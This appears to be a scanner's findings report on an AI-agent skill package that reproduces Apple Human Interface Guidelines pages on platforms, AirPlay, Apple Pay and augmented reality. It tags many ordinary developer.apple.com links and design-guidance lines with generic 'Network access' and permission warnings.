**Let players pick up their game on any of their devices.** People often have a single iCloud account that they use across multiple Apple devices. When you support [GameSave](https://developer.apple.com/documentation/GameSave), you can help - Network accessline 121
**Support haptics to help players feel the action.** When you adopt Core Haptics, you can compose and play custom haptic patterns, optionally combined with custom audio content. Core Haptics is available in iOS, iPadOS, tvOS, and visionOS, - Network accessline 123
**Use Spatial Audio to immerse players in your game’s soundscape.** Providing multichannel audio can help your game’s audio adapt automatically to the current device, enabling an immersive Spatial Audio experience where supported. For guida - Network accessline 125
**Take advantage of Apple technologies to enable unique gameplay mechanics.** For example, you can integrate technologies like augmented reality, machine learning, and [HealthKit](https://developer.apple.com/documentation/HealthKit), and re - Network accessline 127
[ - Network accessline 135
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Related) - Network accessline 137
[Game Center](https://developer.apple.com/design/human-interface-guidelines/game-center) - Network accessline 139
[Game controls](https://developer.apple.com/design/human-interface-guidelines/game-controls) - Network accessline 141
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Developer-documentation) - Network accessline 143
[Games Pathway](https://developer.apple.com/games/get-started/) - Network accessline 145
[Create games for Apple platforms](https://developer.apple.com/games/) - Network accessline 147
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Videos) - Network accessline 149
[ Level up your games ](https://developer.apple.com/videos/play/wwdc2025/209) - Network accessline 151
[ Design advanced games for Apple platforms ](https://developer.apple.com/videos/pla - Network accessline 153
## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-games#Change-log)
skills/hig-platforms/references/designing-for-ios.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for iOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ios - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ios - Network accessline 9
, [virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards), and [voice](https://developer. - Network accessline 23
* [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets) - Network accessline 25
* [Home Screen quick actions](https://developer.apple.com/design/human-interface-guidelines/home-screen-quick-actions) - Network accessline 27
* [Spotlight](https://developer.apple.com/design/human-interface-guidelines/searching) - Network accessline 29
* [Shortcuts](https://developer.apple.com/design/human-interface-guidelines/siri#Shortcuts-and-suggestions) - Network accessline 31
* [Activity views](https://developer.apple.com/design/human-interface-guidelines/activity-views) - Network accessline 36
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Best-practices) - Network accessline 51
## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Resources) - Network accessline 53
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Related) - Network accessline 55
[Apple Design Resources](https://developer.apple.com/design/resources/#ios-apps) - Network accessline 57
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Developer-documentation) - Network accessline 59
[iOS Pathway](https://developer.apple.com/ios/get-started/) - Network accessline 61
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-ios#Videos) - Network accessline 63
[ Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219) - Network accessline 65
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
skills/hig-platforms/references/designing-for-ipados.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for iPadOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados - Network accessline 9
 and [virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-key - Network accessline 23
* [Multitasking](https://developer.apple.com/design/human-interface-guidelines/multitasking) - Network accessline 25
* [Widgets](https://developer.apple.com/design/human-interface-guidelines/widgets) - Network accessline 27
* [Drag and drop](https://developer.apple.com/design/human-interface-guidelines/drag-and-drop) - Network accessline 32
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Best-practices) - Network accessline 47
## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Resources) - Network accessline 49
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Related) - Network accessline 51
[Apple Design Resources](https://developer.apple.com/design/resources/#ios-apps) - Network accessline 53
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Developer-documentation) - Network accessline 55
[iPadOS Pathway](https://developer.apple.com/ipados/get-started/) - Network accessline 57
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-ipados#Videos) - Network accessline 59
[ Elevate the design of your iPad app ](https://developer.apple.com/videos/play/wwd - Network accessline 61
[ Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219) - Network accessline 63
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2
skills/hig-platforms/references/designing-for-macos.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for macOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-macos - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-macos - Network accessline 9
, [Pointing devices](https://develo - Network accessline 23
* [The menu bar](https://developer.apple.com/design/human-interface-guidelines/the-menu-bar) - Network accessline 25
* [File management](https://developer.apple.com/design/human-interface-guidelines/file-management) - Network accessline 27
* [Going full screen](https://developer.apple.com/design/human-interface-guidelines/going-full-screen) - Network accessline 29
* [Dock menus](https://developer.apple.com/design/human-interface-guidelines/dock-menus) - Network accessline 34
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Best-practices) - Network accessline 53
## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Resources) - Network accessline 55
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Related) - Network accessline 57
[Apple Design Resources](https://developer.apple.com/design/resources/#macos-apps) - Network accessline 59
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Developer-documentation) - Network accessline 61
[macOS Pathway](https://developer.apple.com/macos/get-started/) - Network accessline 63
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-macos#Videos) - Network accessline 65
[ Meet Liquid Glass ](https://developer.apple.com/videos/play/wwdc2025/219) - Network accessline 67
[ Get to know the new design system ](https://developer.apple.com/videos/play/wwdc2 - Network accessline 69
[ Build an AppKit app with the new design ](https://developer.apple.com/videos/play
skills/hig-platforms/references/designing-for-tvos.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for tvOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos - Network accessline 9
, a [game controller](https://developer.apple.com/design/human-interface-guidelines/game-controls), their [voice](https://developer. - Network accessline 23
* [Integrating with the TV app](https://developer.apple.com/design/human-interface-guidelines/playing-video#Integrating-with-the-TV-app) - Network accessline 25
* [SharePlay](https://developer.apple.com/design/human-interface-guidelines/shareplay) - Network accessline 27
* [Top Shelf](https://developer.apple.com/design/human-interface-guidelines/top-shelf) - Network accessline 29
* [TV provider accounts](https://developer.apple.com/design/human-interface-guidelines/managing-accounts#TV-provider-accounts) - Network accessline 34
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Best-practices) - Network accessline 49
## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Resources) - Network accessline 51
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Related) - Network accessline 53
[Apple Design Resources](https://developer.apple.com/design/resources/#tvos-apps) - Network accessline 55
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Developer-documentation) - Network accessline 57
[tvOS Pathway](https://developer.apple.com/tvos/get-started/) - Network accessline 59
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Videos) - Network accessline 61
[ Build SwiftUI apps for tvOS ](https://developer.apple.com/videos/play/wwdc2020/10042) - Network accessline 63
## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-tvos#Change-log)
skills/hig-platforms/references/designing-for-visionos.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for visionOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos - Network accessline 9
, [volumes](https://developer.apple.com/design/human-interface- - Network accessline 15
**Immersion.** In a visionOS app, people can fluidly transition between different levels of [immersion](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences). By default, an app launches in the _Shared Space_ - Network accessline 17
**Passthrough.** [Passthrough](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences#Immersion-and-passthrough) provides live video from the device’s external cameras, and helps people interact with virtual con - Network accessline 19
**Spatial Audio.** Apple Vision Pro combines acoustic and visual-sensing technologies to model the sonic characteristics of a person’s surroundings, automatically making audio sound natural in their space. When an app receives a person’s pe - Network accessline 21
**Eyes and hands.** In general, people perform most actions by using their [eyes](https://developer.apple.com/design/human-interface-guidelines/eyes) to look at a virtual object and making an _indirect_ [gesture](https://developer.apple.com - Network accessline 25
**Accessibility.** Apple Vision Pro supports [accessibility](https://developer.apple.com/design/human-interface-guidelines/accessibility) technologies like VoiceOver, Switch Control, Dwell Control, Guided Access, Head Pointer, and many more - Network accessline 29
When building your app for Apple Vision Pro, be sure to consider the unique characteristics of the device and its spatial computing environment, and pay special attention to your user’s safety; for more details about these characteristics, - Network accessline 31
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Best-practices) - Network accessline 39
**Use windows for contained, UI-centric experiences.** To help people perform standard tasks, prefer standard [windows](https://developer.apple.com/design/human-interface-guidelines/windows#visionOS) that appear as planes in space and conta - Network accessline 43
* Display content within a person’s [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-view), positioning it relative to their head. Avoid placing content in places where people have to tur - Network accessline 45
* Avoid displaying [motion](https://developer.apple.com/design/human-interface-guidelines/motion#visionOS) that’s overwhelming, jarring, too fast, or missing a stationary frame of reference. - Network accessline 47
* Support [indirect gestures](https://developer.apple.com/design/human-interface-guidelines/gestures#visionOS) that let people interact with apps while their hands rest in their lap or at their sides. - Network accessline 51
* Avoid encouraging people to move too much while they’re in a fully [immersive experience](https://developer.apple.com/design/human-interface-guidelines/immersive-experiences). - Network accessline 56
**Help people share activities with others.** When you use [SharePlay](https://developer.apple.com/design/human-interface-guidelines/shareplay#visionOS) to support shared activities, people can view the _spatial Personas_ of other participa - Network accessline 58
## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Resources) - Network accessline 60
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Related) - Network accessline 62
[Apple Design Resources](https://developer.apple.com/design/resources/#visionos-apps) - Network accessline 64
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Developer-documentation) - Network accessline 66
[visionOS Pathway](https://developer.apple.com/visionos/get-started/) - Network accessline 68
[Creating your first visionOS app](https://developer.apple.com/documentation/visionOS/creating-your-first-visionos-app) - Network accessline 70
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Videos) - Network accessline 72
[ Design interactive experiences for visionOS ](https://developer.apple.com/videos/p - Network accessline 74
[ Design great visionOS apps ](https://developer.apple.com/videos/play/wwdc2024/1008 - Network accessline 76
[ Principles of spatial design ](https://developer.apple.com/videos/play/wwdc2023/10 - Network accessline 78
## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-visionos#Change-log)
skills/hig-platforms/references/designing-for-watchos.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Designing for watchOS | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos - Network accessline 9
, which offers consistent control on the watch face, the Home Screen, and - Network accessline 23
* [Complications](https://developer.apple.com/design/human-interface-guidelines/complications) - Network accessline 25
* [Notifications](https://developer.apple.com/design/human-interface-guidelines/notifications) - Network accessline 27
* [Always On](https://developer.apple.com/design/human-interface-guidelines/always-on) - Network accessline 29
* [Watch faces](https://developer.apple.com/design/human-interface-guidelines/watch-faces) - Network accessline 34
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Best-practices) - Network accessline 40
* Minimize the depth of hierarchy in your app’s navigation, and use the [Digital Crown](https://developer.apple.com/design/human-interface-guidelines/digital-crown) to provide vertical navigation for scrolling or switching between screens. - Network accessline 44
* Use [complications](https://developer.apple.com/design/human-interface-guidelines/complications) to provide relevant, potentially dynamic data and graphics right on the watch face where people can view them on every wrist raise and tap th - Network accessline 46
* Use [notifications](https://developer.apple.com/design/human-interface-guidelines/notifications) to deliver timely, high-value information and let people perform important actions without opening your app. - Network accessline 48
* Use background content such as [color](https://developer.apple.com/design/human-interface-guidelines/color) to convey useful supporting information, and use [materials](https://developer.apple.com/design/human-interface-guidelines/materia - Network accessline 55
## [Resources](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Resources) - Network accessline 57
#### [Related](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Related) - Network accessline 59
[Apple Design Resources](https://developer.apple.com/design/resources/#watchos-apps) - Network accessline 61
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Developer-documentation) - Network accessline 63
[watchOS Pathway](https://developer.apple.com/watchos/get-started/) - Network accessline 65
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Videos) - Network accessline 67
[ What’s new in watchOS 26 ](https://developer.apple.com/videos/play/wwdc2025/334) - Network accessline 69
## [Change log](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos#Change-log)
skills/hig-project-context/SKILL.md
- Network accessline 135
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-technologies/SKILL.md
- Network accessline 133
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-technologies/references/airplay.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "AirPlay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/airplay - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/airplay - Network accessline 9
 - Network accessline 13
**Prefer the system-provided media player.** The built-in media player offers a standard set of controls and supports features like chapter navigation, subtitles, closed captioning, and AirPlay streaming. It’s also easy to implement, provid - Network accessline 15
 - Network accessline 17
**Provide content in the highest possible resolution.** Your [HTTP Live Streaming](https://developer.apple.com/documentation/http-live-streaming) (HLS) playlist needs to include the full range of available resolutions so that people can exp - Network accessline 19
**Stream only the content people expect.** Avoid streaming content like background loops and short video experiences that make sense only within the context of the app itself. For developer guidance, see [`usesExternalPlaybackWhileExternalS - Network accessline 23
**Support remote control events.** When you do, people can choose actions like play, pause, and fast forward on the lock screen, and through interaction with Siri or HomePod. For developer guidance, see [Remote command center events](https: - Network accessline 27
**Don’t interrupt another app’s playback unless your app is starting to play immersive content.** For example, if your app plays a video when it launches or auto-plays inline videos, play this content on only the local device, while allowin - Network accessline 33
## [Using AirPlay icons](https://developer.apple.com/design/human-interface-guidelines/airplay#Using-AirPlay-icons) - Network accessline 35
You can download AirPlay icons in [Resources](https://developer.apple.com/design/resources/). You have the following options for displaying the AirPlay icon in your app. - Network accessline 37
### [Black AirPlay icon](https://developer.apple.com/design/human-interface-guidelines/airplay#Black-AirPlay-icon) - Network accessline 41
 - Network accessline 47
 - Network accessline 53
 - Network accessline 69
| Example text ---|--- | Use AirPlay to listen on your speaker - Network accessline 70
---|--- | Use AirPlay to listen on your speaker | Use AirPlay to listen on your speaker - Network accessline 72
| AirPlay to your speaker - Network accessline 73
| You can AirPlay with [App Name] - Network accessline 77
| Example text ---|--- | [App Name] is compatible with AirPlay - Network accessline 78
---|--- | [App Name] is compatible with AirPlay | [App Name] is compatible with AirPlay - Network accessline 80
| AirPlay-enabled speaker - Network accessline 81
| You can use AirPlay with [App Name] - Network accessline 82
| [App Name] has AirPlay - Network accessline 86
| Example text ---|--- | Compatible with Apple AirPlay - Network accessline 88
| Compatible with Apple AirPlay - Network accessline 92
| Example text ---|--- | [App Name] now supports AirPlay - Network accessline 94
| [App Name] now supports AirPlay - Network accessline 96
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/airplay#Platform-considerations) - Network accessline 100
## [Resources](https://developer.apple.com/design/human-interface-guidelines/airplay#Resources) - Network accessline 102
#### [Related](https://developer.apple.com/design/human-interface-guidelines/airplay#Related) - Network accessline 104
[Apple Design Resources](https://developer.apple.com/design/resources/) - Network accessline 106
[Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademark/appletmlist.html) - Network accessline 108
[Guidelines for Using Apple Trademarks and Copyrights](https://www.apple.com/legal/intellectual-property/guidelinesfor3rdparties.html) - Network accessline 110
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/airplay#Developer-documentation) - Network accessline 112
[AVFoundation](https://developer.apple.com/documentation/AVFoundation) - Network accessline 114
[AVKit](https://developer.apple.com/documentation/AVKit) - Network accessline 116
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/airplay#Videos) - Network accessline 118
[ Reaching the Big Screen with AirPlay 2 ](https://developer.apple.com/videos/play/wwdc2019/501) - Network accessline 120
## [Change log](https://developer.apple.com/design/human-interface-guidelines/airplay#Change-log)
skills/hig-technologies/references/always-on.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Always On | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/always-on - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/always-on - Network accessline 9
 and [Live Activities](https://developer.apple.com/design/human-interface-g - Network accessline 22
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/always-on#Best-practices) - Network accessline 24
**Hide sensitive information.** It’s crucial to redact personal information that people wouldn’t want casual observers to view, like bank balances or health data. You also need to hide personal information that might be visible in a notific - Network accessline 34
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/always-on#Platform-considerations) - Network accessline 38
## [Resources](https://developer.apple.com/design/human-interface-guidelines/always-on#Resources) - Network accessline 40
#### [Related](https://developer.apple.com/design/human-interface-guidelines/always-on#Related) - Network accessline 42
[Designing for watchOS](https://developer.apple.com/design/human-interface-guidelines/designing-for-watchos) - Network accessline 44
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/always-on#Developer-documentation) - Network accessline 46
[Designing your app for the Always On state](https://developer.apple.com/documentation/watchOS-Apps/designing-your-app-for-the-always-on-state) — watchOS apps - Network accessline 48
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/always-on#Videos) - Network accessline 50
[ What's new in watchOS 8 ](https://developer.apple.com/videos/play/wwdc2021/10002) - Network accessline 52
[ Build a workout app for Apple Watch ](https://developer.apple.com/videos/play/wwdc2021/10009) - Network accessline 54
[ What's new in SwiftUI ](https://developer.apple.com/videos/play/wwdc2021/10018) - Network accessline 56
## [Change log](https://developer.apple.com/design/human-interface-guidelines/always-on#Change-log)
skills/hig-technologies/references/apple-pay.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Apple Pay | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/apple-pay - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/apple-pay - Network accessline 9
. Use Apple Pay in your app to sell physical goods like groceries, clothing, a - Network accessline 17
Apps and websites that accept Apple Pay display it as an available payment option, and include an Apple Pay button in the purchasing flow that people tap to bring up a payment sheet. During checkout, the payment sheet can show the credit or - Network accessline 19
All websites that offer Apple Pay must include a privacy statement and adhere to the [Acceptable use guidelines for Apple Pay on the web](https://developer.apple.com/apple-pay/acceptable-use-guidelines-for-websites/). For developer guidance - Network accessline 21
 - Network accessline 29
**Offer Apple Pay on all devices and browsers that support it.** If the device doesn’t support Apple Pay, don’t present Apple Pay as a payment option. Use Apple Pay APIs to evaluate when a device can support Apple Pay. For developer guidanc - Network accessline 31
**If you use Apple Pay APIs to find out whether someone has an active card in Wallet, you must make Apple Pay the primary — but not necessarily sole — payment option everywhere you use the APIs.** For example, you might pre-select Apple Pay - Network accessline 39
 - Network accessline 41
 - Network accessline 43
 - Network accessline 45
 - Network accessline 55
For app developer guidance, see [Apple Pay](https://developer.apple.com/documentation/PassKit/apple-pay). For website developer guidance, including how to determine whether Apple Pay on the web is available, see [Apple Pay on the Web](https - Network accessline 57
## [Streamlining checkout](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Streamlining-checkout) - Network accessline 73
**For in-store pickup, help people choose a pickup location before displaying the payment sheet.** After a customer chooses the pickup location they want, use the read-only format to display the location’s address on the payment sheet. For - Network accessline 79
 - Network accessline 91
**Let people choose the shipping method in the payment sheet.** To the extent space permits, show a clear description, a cost, and, optionally, an estimated delivery or pickup date — or range of dates — for each available option. In iOS 15 - Network accessline 95
**Use line items to explain additional charges, discounts, pending costs, add-on donations, recurring, and future payments.** A line item includes a label and cost; a line item for a recurring payment can also include a frequency. Don’t use - Network accessline 102
 - Network accessline 104
 - Network accessline 114
**Handle data entry and payment errors gracefully.** If an error occurs during checkout, help people resolve it quickly so they can complete their transaction. For related guidance, see [Data validation](https://developer.apple.com/design/h - Network accessline 116
### [Displaying a website icon](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Displaying-a-website-icon) - Network accessline 126
 - Network accessline 128
## [Handling errors](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Handling-errors) - Network accessline 132
### [Data validation](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Data-validation) - Network accessline 141
 - Network accessline 145
Payment sheet error messagin - Network accessline 151
 (iOS, watchOS) and [Apple Pay on the Web](https://developer.apple.c - Network accessline 163
**Provide accurate status reporting to the system.** When a problem occurs, it’s essential that your app or website accurately indicate the type of problem so the system can show the most relevant error message on the payment sheet. This is - Network accessline 167
### [Payment processing](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Payment-processing) - Network accessline 169
**Handle interruptions correctly.** A user-driven event like a cancellation or a system-driven event like a timeout could cause an interruption in the payment flow, resulting in the payment sheet being dismissed. When such an event occurs, - Network accessline 171
## [Supporting subscriptions](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Supporting-subscriptions) - Network accessline 180
 - Network accessline 184
Fixed subscri - Network accessline 190
 - Network accessline 213
[Approved nonprofits](https://developer.apple.com/support/apple-pay-nonprofits/) can use Apple Pay to accept donations. - Network accessline 219
## [Using Apple Pay buttons](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Using-Apple-Pay-buttons) - Network accessline 221
The system provides several Apple Pay button types and styles you can use in your app or website. In contrast to the Apple Pay buttons, you use the [Apple Pay mark](https://developer.apple.com/design/human-interface-guidelines/apple-pay#App - Network accessline 225
For developer guidance, see [`PKPaymentButtonType`](https://developer.apple.com/documentation/PassKit/PKPaymentButtonType) and [`PKPaymentButtonStyle`](https://developer.apple.com/documentation/PassKit/PKPaymentButtonStyle) (iOS and macOS), - Network accessline 227
### [Button types](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Button-types) - Network accessline 246
Payment button type| Example usage ---|--- | An area in an app or website where people can make a p - Network accessline 247
---|--- | An area in an app or website where people can make a purchase, such as a product detail pag - Network accessline 248
| An area in an app or website where people can make a purchase, such as a product detail page or shopp - Network accessline 249
| An app or website that lets people pay bills or invoices, such as those for a utility — like cable or - Network accessline 250
| An app or website offering a shopping cart or purchase experience that includes other pay - Network accessline 251
| An app or website offering a shopping cart or purchase experience that includes other payme - Network accessline 252
| An app or website that helps people book flights, trips, or other experiences. - Network accessline 253
| An app or website for an [approved nonprofit](https://developer.apple.com/support/apple-pay-non - Network accessline 254
| An app or website that lets people purchase a subscription, such as a gym membership or a - Network accessline 255
| An app or website that uses the term _reload_ to help people add money to a card, account, or p - Network accessline 256
| An app or website that uses the term _add money_ to help people add money to a card, acco - Network accessline 257
| An app or website that uses the term _top up_ to help people add money to a card, account, or p - Network accessline 258
| An app or website that lets people place orders for items like meals or flowers. - Network accessline 259
| An app or website that lets people rent items like cars or scooters. - Network accessline 260
| An app or website that uses the term _support_ to help people give money to projects, causes, - Network accessline 261
| An app or website that uses the term _contribute_ to help people give money to projects - Network accessline 262
| An app or website that lets people tip for goods or services. - Network accessline 263
| An app or website that has stylistic reasons to use a button that can have a smaller minimum width or that doesn’t s - Network accessline 267
 - Network accessline 271
### [Button styles](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Button-styles) - Network accessline 273
You can use the _automatic_ style to let the current system appearance determine the appearance of the Apple Pay buttons in your app (for developer guidance, see [`PKPaymentButtonStyle.automatic`](https://developer.apple.com/documentation/P - Network accessline 275
#### [Black](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Black) - Network accessline 279
 - Network accessline 281
 - Network accessline 283
 - Network accessline 285
 - Network accessline 287
#### [White with outline](https://developer.apple.com/design/human-interface-guidelines/apple-pay#White-with-outline) - Network accessline 291
 - Network accessline 293
 - Network accessline 295
 - Network accessline 297
 - Network accessline 299
#### [White](https://developer.apple.com/design/human-interface-guidelines/apple-pay#White) - Network accessline 303
 - Network accessline 305
 - Network accessline 307
 - Network accessline 309
 - Network accessline 311
### [Button size and position](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Button-size-and-position) - Network accessline 315
 - Network accessline 319
 - Network accessline 325
 - Network accessline 329
 - Network accessline 335
 - Network accessline 337
 - Network accessline 339
 - Network accessline 341
 - Network accessline 343
**Adjust the corner radius to match the appearance of other buttons.** By default, an Apple Pay button has rounded corners. You can change the corner radius to produce a button with square corners or a capsule-shape button. For developer gu - Network accessline 345
 - Network accessline 375
Use the Apple Pay mark graphic to show that Apple Pay is an available payment option when showing other payment options in a similar manner. The Apple Pay mark isn’t a button; if you need an Apple Pay button, choose one of the buttons descr - Network accessline 377
. - Network accessline 385
## [Referring to Apple Pay](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Referring-to-Apple-Pay) - Network accessline 387
As with all Apple product names, use Apple Pay exactly as shown in [Apple Trademark List](https://www.apple.com/legal/intellectual-property/trademark/appletmlist.html) — never make it plural or possessive — and adhere to [Guidelines for Usi - Network accessline 395
| Example text ---|--- | Purchase with Apple Pay - Network accessline 396
---|--- | Purchase with Apple Pay | Purchase with Apple Pay - Network accessline 398
| Purchase with Apple Pay® - Network accessline 399
| Purchase with ApplePay - Network accessline 400
| Purchase with Pay - Network accessline 401
| Purchase with APPLE PAY - Network accessline 407
**In a payment selection context, you can display a text-only description of Apple Pay only when all payment options have text-only descriptions.** If any other payment option description includes an icon or logo, you must use the Apple Pay - Network accessline 409
**When promoting your app’s use of Apple Pay, follow App Store guidelines.** Before promoting Apple Pay for your app, refer to the [App Store marketing guidelines](https://developer.apple.com/app-store/marketing/guidelines/). - Network accessline 411
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Platform-considerations) - Network accessline 415
## [Resources](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Resources) - Network accessline 417
#### [Related](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Related) - Network accessline 419
[Apple Pay Marketing Guidelines](https://developer.apple.com/apple-pay/marketing/) - Network accessline 421
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Developer-documentation) - Network accessline 423
[Apple Pay](https://developer.apple.com/documentation/PassKit/apple-pay) — PassKit - Network accessline 425
[Apple Pay on the Web](https://developer.apple.com/documentation/ApplePayontheWeb) - Network accessline 427
[`WKInterfacePaymentButton`](https://developer.apple.com/documentation/WatchKit/WKInterfacePaymentButton) — WatchKit - Network accessline 429
#### [Videos](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Videos) - Network accessline 431
[ What’s new in Apple Pay ](https://developer.apple.com/videos/play/wwdc2025/201) - Network accessline 433
## [Change log](https://developer.apple.com/design/human-interface-guidelines/apple-pay#Change-log)
skills/hig-technologies/references/augmented-reality.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Augmented reality | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/augmented-reality - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/augmented-reality - Network accessline 9
. - Network accessline 19
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Best-practices) - Network accessline 27
**Use audio and haptics to enhance the immersive experience.** A sound effect or bump sensation is a great way to confirm that a virtual object has made contact with a physical surface or other virtual object. Background music can also help - Network accessline 35
 - Network accessline 47
Before people can enjoy an AR experience in your app, they need to move their device in ways that lets ARKit evaluate the surroundings and detect surfaces. Consider using the built-in coaching view to show people what to do and provide feed - Network accessline 49
 - Network accessline 59
 - Network accessline 73
 - Network accessline 101
When multiple people share your app’s AR experience, each participant maps the environment independently and ARKit automatically merges the maps. For developer guidance, see [`isCollaborationEnabled`](https://developer.apple.com/documentati - Network accessline 103
**Consider allowing people occlusion.** If your app supports placing virtual objects behind people who appear in the device’s camera feed, enhance the illusion of reality by letting the people occlude the objects. For developer guidance, se - Network accessline 105
**When possible, let new participants enter a multiuser AR experience.** Unless your app requires all participants to join before the experience begins, consider using implicit map merging to let new people quickly join an ongoing AR experi - Network accessline 107
## [Reacting to real-world objects](https://developer.apple.com/design/human-interface-guidelines/augmented-reality#Reacting-to-real-world-objects) - Network accessline 109
